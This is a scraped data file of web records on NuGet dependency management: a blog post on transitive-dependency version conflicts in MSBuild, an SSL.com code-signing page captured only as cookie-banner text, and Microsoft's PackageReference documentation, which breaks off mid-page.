"https://www.gravatar.com/avatar/2b283be6dc4fb513f08e4d08af621263?s=250&d=mm&r=x",
"https://www.erikheemskerk.nl/content/images/size/w300/2019/01/2017-09-15-Achtergrond-2.1.svg-1.png 300w, /content/images/size/w600/2019/01/2017-09-15-Achtergrond-2.1.svg-1.png 600w, /content/images/size/w1000/2019/01/2017-09-15-Achtergrond-2.1.svg-1.png 1000w, /content/images/size/w2000/2019/01/2017-09-15-Achtergrond-2.1.svg-1.png 2000w",
"https://www.erikheemskerk.nl/content/images/2017/09/Diagrammen-Dependencies-1-01.svg",
"https://www.erikheemskerk.nl/content/images/2017/09/Diagrammen-Dependencies-2-01.svg",
"https://www.erikheemskerk.nl/content/images/2017/09/Diagrammen-Dependencies-3-01.svg",
"https://www.erikheemskerk.nl/content/images/2017/09/Diagrammen-Dependencies-4-01.svg",
"https://www.erikheemskerk.nl/content/images/2017/09/tree-shaking.gif",
"https://www.erikheemskerk.nl/content/images/2017/09/TransitiveReferencesDotNetCore.png",
"https://www.erikheemskerk.nl/content/images/size/w300/2019/01/2018-03-01-Achtergrond-7.1.svg.png 300w, /content/images/size/w600/2019/01/2018-03-01-Achtergrond-7.1.svg.png 600w, /content/images/size/w1000/2019/01/2018-03-01-Achtergrond-7.1.svg.png 1000w, /content/images/size/w2000/2019/01/2018-03-01-Achtergrond-7.1.svg.png 2000w",
"https://www.gravatar.com/avatar/2b283be6dc4fb513f08e4d08af621263?s=250&d=mm&r=x",
"https://www.erikheemskerk.nl/content/images/2021/08/2020-10-08%20Achtergrond%209-1.png 300w, /content/images/2021/08/2020-10-08%20Achtergrond%209-1.png 600w, /content/images/2021/08/2020-10-08%20Achtergrond%209-1.png 1000w, /content/images/2021/08/2020-10-08%20Achtergrond%209-1.png 2000w",
"https://www.gravatar.com/avatar/2b283be6dc4fb513f08e4d08af621263?s=250&d=mm&r=x",
"https://www.erikheemskerk.nl/content/images/2021/07/2020-10-08%20Achtergrond%209-2.png 300w, /content/images/2021/07/2020-10-08%20Achtergrond%209-2.png 600w, /content/images/2021/07/2020-10-08%20Achtergrond%209-2.png 1000w, /content/images/2021/07/2020-10-08%20Achtergrond%209-2.png 2000w",
"https://www.gravatar.com/avatar/2b283be6dc4fb513f08e4d08af621263?s=250&d=mm&r=x"
] |
[] |
[] |
[
""
] | null |
[
"Erik Heemskerk"
] |
2017-09-15T18:31:00+00:00
|
MSBuild seems to have issues with transitive NuGet dependencies, but after a deep dive into the build logs, it turns out to be more subtle.
|
en
|
/favicon.png?v=6FHT5TJSMccZHVlEoM_chbDUW_YfXfLoFxpTIu7chxg
|
Erik Heemskerk
|
https://www.erikheemskerk.nl/transitive-nuget-dependencies-net-core-got-your-back/
|
The other day, a colleague and I were looking into an issue with one of our solutions’ build pipeline. The main project was a ‘classic’ MSBuild project with a transitive NuGet dependency through another classic MSBuild project. The transitive dependency wasn’t being copied into the main project’s output directory, even though the build was succeeding.
Note: I’ve fictionalized package names in this blog, because the problem has nothing to do with the authors, and I wouldn’t want their names to be associated with this problem.
What’s a transitive NuGet dependency?
Let’s first start with a slightly simpler question: what is a transitive dependency?
A transitive dependency is an indirect dependency; you depend on something which itself has another dependency that you don’t depend on.
Let’s say you have projects B, C, and D (I’ll explain why I don’t start with ‘A’ in a bit). When project B has a reference to project C and project C has a reference to project D, but B does not have a reference to D, then D is a transitive dependency of B.
Now, when you create this exact project structure, there will not be an issue; MSBuild will build project D, then project C, and finally project B. The output directory for project B will contain B.dll, C.dll, and D.dll. So far, so good.
Now let’s say that C is a NuGet package, and so is D. The picture changes slightly, because in when you install a package in a classic MSBuild project, its dependencies will also be directly referenced by B. So B has a direct reference to D. However, there is not a single line of code that actually mentions D, or any of its symbols. If you squint, it is still a transitive dependency.
What’s the problem?
So far, nothing. When you compile the project, the output directory will still contain B.dll, C.dll, and D.dll, just like when they were still projects.
What I’ve left out, so far, is that, actually, there is another layer of referencing. See, in our situation, B is actually the persistence layer of that particular solution. C is a wrapper library that we’d written around D, which is a commonly used NuGet package. The persistence layer is being referenced by the ‘host’ project, which in our case is a web API. Let’s call that A. Now you see why I started with B.
Project A has a reference to B, but does not have any reference to the dependencies of B. The problem was that, although C.dll was copied to the output directory for A, D.dll was not.
Version hell
Initially, we thought it was ‘just a bug’ in MSBuild. We’d written a hacky MSBuild task to just recursively copy all of the dependencies from all the projects referenced by the main project. I refused to believe this was a scenario that MSBuild ‘just didn’t support,’ so I started digging.
I built our solution with the verbosity set to ‘Detailed,’ and then I came across a couple of interesting messages. Some details left out for brevity.
Project "C:\Project\Project.sln" (1) is building "C:\Project\B.csproj" (4:3) on node 1 (default targets). There was a conflict between "D, Version=1.50.2.0, Culture=neutral, PublicKeyToken=null" and "D, Version=1.50.0.0, Culture=neutral, PublicKeyToken=null". "D, Version=1.50.2.0, Culture=neutral, PublicKeyToken=null" was chosen because it was primary and "D, Version=1.50.0.0, Culture=neutral, PublicKeyToken=null" was not. References which depend on "D, Version=1.50.2.0, Culture=neutral, PublicKeyToken=null" [C:\Project\packages\D.1.50.2\lib\net451\D.dll]. C:\Project\packages\D.1.50.2\lib\net451\D.dll Project file item includes which caused reference "C:\Project\packages\D.1.50.2\lib\net451\D.dll". D, Version=1.50.2.0, Culture=neutral, processorArchitecture=MSIL References which depend on "D, Version=1.50.0.0, Culture=neutral, PublicKeyToken=null" []. C:\Project\packages\C.1.0.1\lib\net45\C.dll Project file item includes which caused reference "C:\Project\packages\C.1.0.1\lib\net45\C.dll". C, Version=1.0.1.0, Culture=neutral, processorArchitecture=MSIL ... Project "C:\Project\Project.sln" (1) is building "C:\Project\A.csproj" (3) on node 1 (default targets). ... Dependency "D, Version=1.50.0.0, Culture=neutral, PublicKeyToken=null". Could not resolve this reference. Could not locate the assembly "D, Version=1.50.0.0, Culture=neutral, PublicKeyToken=null". Check to make sure the assembly exists on disk. If this reference is required by your code, you may get compilation errors. For SearchPath "C:\Project\B\bin\Release". Considered "C:\Project\B\bin\Release\D.winmd", but it didn't exist. Considered "C:\Project\B\bin\Release\D.dll", but its name "D, Version=1.50.2.0, Culture=neutral, PublicKeyToken=null" didn't match the expected name "D, Version=1.50.0.0, Culture=neutral, PublicKeyToken=null". Required by "C:\Project\B\bin\Release\B.dll".
The plot thickens. What you see here is that during the build of project B, MSBuild finds a conflict between two versions of D, version 1.50.0.0 and version 1.50.2.0. It ends up picking 1.50.2.0, because that is a direct dependency. It then lists in detail that project B depends directly on version 1.50.2.0 of package D, while package C depends on version 1.50.0.0 of package D.
This makes sense; C is a utilities library, and for libraries you usually want to depend on the lowest possible version, to maximize compatibility. However, when you’re writing application code, you typically want to depend on the highest possible version, because that might have fewer bugs. This is pretty much what happened; we’d already added a reference to version 1.50.2.0 of package D to project B, and only later did we add a reference to package C.
A few things stand out from the MSBuild output:
MSBuild is saying that package D is what caused the reference to ... itself?
If this reference is required by your code, you may get compilation errors. Yet the build still completes successfully?
It’s incorrectly stating that, when building project A, B.dll is what depends on version 1.50.0.0 of package D. It is actually C.dll that depends on that version.
These are not major issues (except for the build completing succesfully), but they might slow down an investigation into why something is not working.
So, to recap: because project B has a direct reference to package D, version 1.50.2.0 of that package gets copied to the output directory for project B. When building project A, MSBuild is not able to resolve the reference, because it only sees that package C depends on version 1.50.0.0 of package D. It does irk me that this kind of stuff does not fail the build.
However, at run-time this will cause exceptions; the runtime will load C.dll and see that it has a reference to version 1.50.0.0 of D.dll. It will attempt to load D.dll, but this is not available, so .NET will throw a FileNotFoundException.
Binding redirects
The ‘proper’ way of fixing this issue is to create a binding redirect in the app.config or web.config for project A. This is a pretty cumbersome process, as you have to figure out the exact assembly version of the dependency, which might be different from the package version, and in a lot of cases you also have to copy and paste the public key token. In short, this is not a very pleasant experience. Unfortunately, for classic MSBuild projects, it is the only real solution.
<dependentAssembly> <assemblyIdentity name="D" culture="neutral" publicKeyToken="1234567890abcdef" /> <bindingRedirect oldVersion="0.0.0.0-1.50.2.0" newVersion="1.50.2.0" /> </dependentAssembly>
Tree-shaking
But wait, we’re not done, yet. I made a remark earlier, which is significant to the problem.
However, there is not a single line of code that references D.
If you do add a line of code that references that dependency, then the binding redirect does not appear to be necessary. Apparently, MSBuild does some form of tree-shaking to figure out which dependencies are really required and which ones are only there to satisfy indirect dependencies.
When project B directly uses package D, then MSBuild sees it as a required dependency, and therefore uses the version that project B depends on. Otherwise, it uses the version that package C depends on (even though it reports it incorrectly).
.NET Core to the rescue
Fortunately, there is an even easier solution: use the .NET Core build system (or ‘the new .csproj format, or dotnet, or whatever you want to call it).
The new .csproj format only requires you to specify the direct reference. In our case, that would be package C.
<PackageReference Include="C" Version="1.0.1" />
When the project is built, .NET Core will first restore all packages, and figure out that package D is a dependency of package C. The big difference is that it doesn’t require project B to have a direct reference to package D.
If you want to upgrade to a different version of package D, you can do this by simply adding a direct reference to it to project B and specifying the version you need. Direct dependencies take precedence over indirect ones, and when packages are restored, .NET Core will resolve the versions correctly.
<PackageReference Include="C" Version="1.0.1" /> <PackageReference Include="D" Version="1.50.2.0" />
From my experiments, it did not seem to be necessary to have any binding redirects. However, when that does turn out to be necessary, you can simply enable some properties to instruct .NET Core to generate the binding redirects for you automatically!
<PropertyGroup> <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects> <GenerateBindingRedirectsOutputType>true</GenerateBindingRedirectsOutputType> </PropertyGroup>
Conclusion
|
||||
8582
|
dbpedia
|
3
| 42
|
https://www.ssl.com/how-to/code-signing-nuget-packages-with-esigner/
|
en
|
Code Signing Nuget Packages with eSigner
|
[
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/10/logo-top.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/10/logo-top.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Hosted-PKI-solution-ico1-1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Hosted-PKI-solution-ico1-1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Custom-Branded-Issuing-ico1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Custom-Branded-Issuing-ico1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Internet-of-things1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Internet-of-things1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Goverment1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Goverment1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Energy-Industry-11.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Energy-Industry-11.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/solutions-ssl-manager1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/solutions-ssl-manager1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/eSigner1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/eSigner1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Partners-Overview1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Partners-Overview1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Partners-Referall1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Partners-Referall1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Partners-hassle1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Partners-hassle1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Hosted-PKI-solution-ico1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Hosted-PKI-solution-ico1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Company-Blog1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Company-Blog1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Company-Careers1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Company-Careers1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Company-PrivacyPolicy1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Company-PrivacyPolicy1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Company-Terms-of-services1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Company-Terms-of-services1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Company-CA-Repository1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Company-CA-Repository1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Support-What-is-SSL1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Support-What-is-SSL1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Support-Knowledgebase1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Support-Knowledgebase1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Support-Purchase-orders1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Support-Purchase-orders1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Support-Contact-us1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/12/Support-Contact-us1.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/11/Phone-ico.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/11/Phone-ico.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/11/Language-ico.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/11/Language-ico.svg",
"https://www.gstatic.com/images/branding/googlelogo/1x/googlelogo_color_42x16dp.png",
"https://www.gstatic.com/images/branding/googlelogo/1x/googlelogo_color_42x16dp.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/en-us.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/zh-CN.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/hi.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/es.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/de.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/ar.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/ja.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/it.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/ko.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/fr.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/nl.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/iw.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/el.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/cs.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/id.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/vi.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/th.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/ga.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/hu.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/sv.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/da.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/fi.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/no.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/et.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/ru.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/bg.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/pl.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/pt.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/tr.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/plugins/gtranslate/flags/24/ur.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/11/Login-ico.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/11/Login-ico.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/11/Cart-ico.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/11/Cart-ico.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/06/Click-dashboard.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/06/Click-dashboard.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/06/3-developer-tools.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/06/3-developer-tools.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/06/4-select-ev.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/06/4-select-ev.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/10/logo-top.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/10/logo-top.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2022/09/WebTrust-For-CA_BDO.jpg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2022/09/WebTrust-For-CA_BDO.jpg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2022/09/WebTrust-For-BR-SSL_BDO-1.jpg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2022/09/WebTrust-For-BR-SSL_BDO-1.jpg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2022/09/WebTrust-For-CA-EV_BDO.jpg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2022/09/WebTrust-For-CA-EV_BDO.jpg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/10/BDO-4-min.jpg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/10/BDO-4-min.jpg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/10/badge-CSC-min.jpg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/10/badge-CSC-min.jpg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/10/bage-trusted-secure-min.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2023/10/bage-trusted-secure-min.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2021/07/sslcom-logo.png 750w, https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2021/07/sslcom-logo-600x147.png 600w",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2021/07/sslcom-logo.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2021/07/sslcom-logo.png 750w, https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2021/07/sslcom-logo-600x147.png 600w",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2021/07/sslcom-logo.png",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2020/04/ssl-logo-black.svg",
"https://ee2cc1f8.rocketcdn.me/wp-content/uploads/2020/04/ssl-logo-black.svg"
] |
[] |
[] |
[
""
] | null |
[
"SSL Support Team"
] |
2024-02-12T19:09:31+00:00
|
This is a guide on how to sign NuGet packages using SSL.com's eSigner CodeSignTool
|
en
|
SSL.com
|
https://www.ssl.com/how-to/code-signing-nuget-packages-with-esigner/
|
This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognizing you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.
For more information read our Cookie and privacy statement.
This website uses Google Analytics & Statcounter to collect anonymous information such as the number of visitors to the site, and the most popular pages.
Keeping these cookies enabled helps us to improve our website.
Enable or Disable Cookies
Please enable Strictly Necessary Cookies first so that we can save your preferences!
Show details
Name Provider Purpose Expiration Google Analytics Google Collect anonymous information such as the number of visitors to the site, and the most popular pages. 365 days StatCounter Analytics StatCounter Collect anonymous information such as the number of visitors to the site, and the most popular pages. 365 days
|
|||||
8582
|
dbpedia
|
2
| 4
|
https://learn.microsoft.com/en-us/nuget/consume-packages/package-references-in-project-files
|
en
|
NuGet PackageReference in project files
|
[
"https://learn.microsoft.com/en-us/nuget/consume-packages/media/packagereference-condition.png"
] |
[] |
[] |
[
""
] | null |
[] |
2022-08-09T19:02:00+00:00
|
Details on NuGet PackageReference in project files as supported by NuGet 4.0+ and VS2017 and .NET Core 2.0
|
en
|
https://learn.microsoft.com/en-us/nuget/consume-packages/package-references-in-project-files
|
PackageReference in project files
Package references, using <PackageReference> MSBuild items, specify NuGet package dependencies directly within project files, as opposed to having a separate packages.config file. Use of PackageReference doesn't affect other aspects of NuGet; for example, settings in NuGet.Config files (including package sources) are still applied as explained in Common NuGet configurations.
With PackageReference, you can also use MSBuild conditions to choose package references per target framework, or other groupings. It also allows for fine-grained control over dependencies and content flow. (See For more details NuGet pack and restore as MSBuild targets.)
Project type support
By default, PackageReference is used for .NET Core projects, .NET Standard projects, and UWP projects targeting Windows 10 Build 15063 (Creators Update) and later, with the exception of C++ UWP projects. .NET Framework projects support PackageReference, but currently default to packages.config. To use PackageReference, migrate the dependencies from packages.config into your project file, then remove packages.config.
ASP.NET apps targeting the full .NET Framework include only limited support for PackageReference. C++ and JavaScript project types are unsupported.
Adding a PackageReference
Add a dependency in your project file using the following syntax:
<ItemGroup> <!-- ... --> <PackageReference Include="Contoso.Utility.UsefulStuff" Version="3.6.0" /> <!-- ... --> </ItemGroup>
Controlling dependency version
The convention for specifying the version of a package is the same as when using packages.config:
<ItemGroup> <!-- ... --> <PackageReference Include="Contoso.Utility.UsefulStuff" Version="3.6.0" /> <!-- ... --> </ItemGroup>
In the example above, 3.6.0 means any version that is >=3.6.0 with preference for the lowest version, as described on Package versioning.
Using PackageReference for a project with no package dependencies
Advanced: If you have no packages installed in a project (no PackageReferences in project file and no packages.config file), but want the project to be restored as PackageReference style, you can set a Project property RestoreProjectStyle to PackageReference in your project file.
<PropertyGroup> <!--- ... --> <RestoreProjectStyle>PackageReference</RestoreProjectStyle> <!--- ... --> </PropertyGroup>
This may be useful, if you reference projects which are PackageReference styled (existing csproj or SDK-style projects). This will enable packages that those projects refer to, to be "transitively" referenced by your project.
PackageReference and sources
In PackageReference projects, the transitive dependency versions are resolved at restore time. As such, in PackageReference projects all sources need to be available for all restores.
Floating Versions
Floating versions are supported with PackageReference:
<ItemGroup> <!-- ... --> <PackageReference Include="Contoso.Utility.UsefulStuff" Version="3.6.*" /> <PackageReference Include="Contoso.Utility.UsefulStuff" Version="3.6.0-beta.*" /> <!-- ... --> </ItemGroup>
Controlling dependency assets
You might be using a dependency purely as a development harness and might not want to expose that to projects that will consume your package. In this scenario, you can use the PrivateAssets metadata to control this behavior.
<ItemGroup> <!-- ... --> <PackageReference Include="Contoso.Utility.UsefulStuff" Version="3.6.0"> <PrivateAssets>all</PrivateAssets> </PackageReference> <!-- ... --> </ItemGroup>
The following metadata tags control dependency assets:
Tag Description Default Value IncludeAssets These assets will be consumed all ExcludeAssets These assets will not be consumed none PrivateAssets These assets will be consumed but won't flow to the parent project contentfiles;analyzers;build
Allowable values for these tags are as follows, with multiple values separated by a semicolon except with all and none which must appear by themselves:
Value Description compile Contents of the lib folder and controls whether your project can compile against the assemblies within the folder runtime Contents of the lib and runtimes folder and controls whether these assemblies will be copied out to the build output directory contentFiles Contents of the contentfiles folder build .props and .targets in the build folder buildMultitargeting (4.0) .props and .targets in the buildMultitargeting folder, for cross-framework targeting buildTransitive (5.0+) .props and .targets in the buildTransitive folder, for assets that flow transitively to any consuming project. See the feature page. analyzers .NET analyzers native Contents of the native folder none None of the above are used. all All of the above (except none)
<ItemGroup> <!-- ... --> <!-- Everything except the content files will be consumed by the project --> <!-- Everything except content files and analyzers will flow to the parent project--> <PackageReference Include="Contoso.Utility.UsefulStuff" Version="3.6.0"> <IncludeAssets>all</IncludeAssets> <!-- Default is `all`, can be omitted--> <ExcludeAssets>contentFiles</ExcludeAssets> <PrivateAssets>contentFiles;analyzers</PrivateAssets> </PackageReference> <!-- ... --> <!-- Everything except the compile will be consumed by the project --> <!-- Everything except contentFiles will flow to the parent project--> <PackageReference Include="Contoso.Utility.SomeOtherUsefulStuff" Version="3.6.0"> <ExcludeAssets>compile</ExcludeAssets> <PrivateAssets>contentFiles</PrivateAssets> </PackageReference> <!-- ... --> </ItemGroup>
Note that because build is not included with PrivateAssets, targets and props will flow to the parent project. Consider, for example, that the reference above is used in a project that builds a NuGet package called AppLogger. AppLogger can consume the targets and props from Contoso.Utility.UsefulStuff, as can projects that consume AppLogger.
Adding a PackageReference condition
You can use a condition to control whether a package is included, where conditions can use any MSBuild variable or a variable defined in the targets or props file. However, at presently, only the TargetFramework variable is supported.
For example, say you're targeting netstandard1.4 as well as net452 but have a dependency that is applicable only for net452. In this case you don't want a netstandard1.4 project that's consuming your package to add that unnecessary dependency. To prevent this, you specify a condition on the PackageReference as follows:
<ItemGroup> <!-- ... --> <PackageReference Include="Newtonsoft.Json" Version="9.0.1" Condition="'$(TargetFramework)' == 'net452'" /> <!-- ... --> </ItemGroup>
A package built using this project will show that Newtonsoft.Json is included as a dependency only for a net452 target:
Conditions can also be applied at the ItemGroup level and will apply to all children PackageReference elements:
<ItemGroup Condition = "'$(TargetFramework)' == 'net452'"> <!-- ... --> <PackageReference Include="Newtonsoft.Json" Version="9.0.1" /> <PackageReference Include="Contoso.Utility.UsefulStuff" Version="3.6.0" /> <!-- ... --> </ItemGroup>
GeneratePathProperty
This feature is available with NuGet 5.0 or above and with Visual Studio 2019 16.0 or above.
Sometimes it is desirable to reference files in a package from an MSBuild target. In packages.config based projects, the packages are installed in a folder relative to the project file. However in PackageReference, the packages are consumed from the global-packages folder, which can vary from machine to machine.
To bridge that gap, NuGet introduced a property that points to the location from which the package will be consumed.
Example:
<ItemGroup> <PackageReference Include="Some.Package" Version="1.0.0" GeneratePathProperty="true" /> </ItemGroup> <Target Name="TakeAction" AfterTargets="Build"> <Exec Command="$(PkgSome_Package)\something.exe" /> </Target>
Additionally NuGet will automatically generate properties for packages containing a tools folder.
<ItemGroup> <PackageReference Include="Package.With.Tools" Version="1.0.0" /> </ItemGroup> <Target Name="TakeAction" AfterTargets="Build"> <Exec Command="$(PkgPackage_With_Tools)\tools\tool.exe" /> </Target>
MSBuild properties and package identities do not have the same restrictions so the package identity needs to be changed to an MSBuild friendly name, prefixed by the word Pkg. To verify the exact name of the property generated, look at the generated nuget.g.props file.
PackageReference Aliases
In some rare instances different packages will contain classes in the same namespace. Starting with NuGet 5.7 & Visual Studio 2019 Update 7, equivalent to ProjectReference, PackageReference supports Aliases. By default no aliases are provided. When an alias is specified, all assemblies coming from the annotated package with need to be referenced with an alias.
You can look at sample usage at NuGet\Samples
In the project file, specify the aliases as follows:
<ItemGroup> <PackageReference Include="NuGet.Versioning" Version="5.8.0" Aliases="ExampleAlias" /> </ItemGroup>
and in the code use it as follows:
extern alias ExampleAlias; namespace PackageReferenceAliasesExample { ... { var version = ExampleAlias.NuGet.Versioning.NuGetVersion.Parse("5.0.0"); Console.WriteLine($"Version : {version}"); } ... }
NuGet warnings and errors
This feature is available with NuGet 4.3 or above and with Visual Studio 2017 15.3 or above.
For many pack and restore scenarios, all NuGet warnings and errors are coded, and start with NU****. All NuGet warnings and errors are listed in the reference documentation.
NuGet observes the following warning properties:
TreatWarningsAsErrors, treat all warnings as errors
WarningsAsErrors, treat specific warnings as errors
NoWarn, hide specific warnings, either project-wide or package-wide.
Examples:
<PropertyGroup> <TreatWarningsAsErrors>true</TreatWarningsAsErrors> </PropertyGroup> ... <PropertyGroup> <WarningsAsErrors>$(WarningsAsErrors);NU1603;NU1605</WarningsAsErrors> </PropertyGroup> ... <PropertyGroup> <NoWarn>$(NoWarn);NU5124</NoWarn> </PropertyGroup> ... <ItemGroup> <PackageReference Include="Contoso.Package" Version="1.0.0" NoWarn="NU1605" /> </ItemGroup>
Suppressing NuGet warnings
While it is recommended that you resolve all NuGet warnings during your pack and restore operations, in certain situations suppressing them is warranted. To suppress a warning project wide, consider doing:
<PropertyGroup> <PackageVersion>5.0.0</PackageVersion> <NoWarn>$(NoWarn);NU5104</NoWarn> </PropertyGroup> <ItemGroup> <PackageReference Include="Contoso.Package" Version="1.0.0-beta.1"/> </ItemGroup>
Sometimes warnings apply only to a certain package in the graph. We can choose to suppress that warning more selectively by adding a NoWarn on the PackageReference item.
<PropertyGroup> <PackageVersion>5.0.0</PackageVersion> </PropertyGroup> <ItemGroup> <PackageReference Include="Contoso.Package" Version="1.0.0-beta.1" NoWarn="NU1603" /> </ItemGroup>
Suppressing NuGet package warnings in Visual Studio
When in Visual Studio, you can also suppress warnings through the IDE.
Locking dependencies
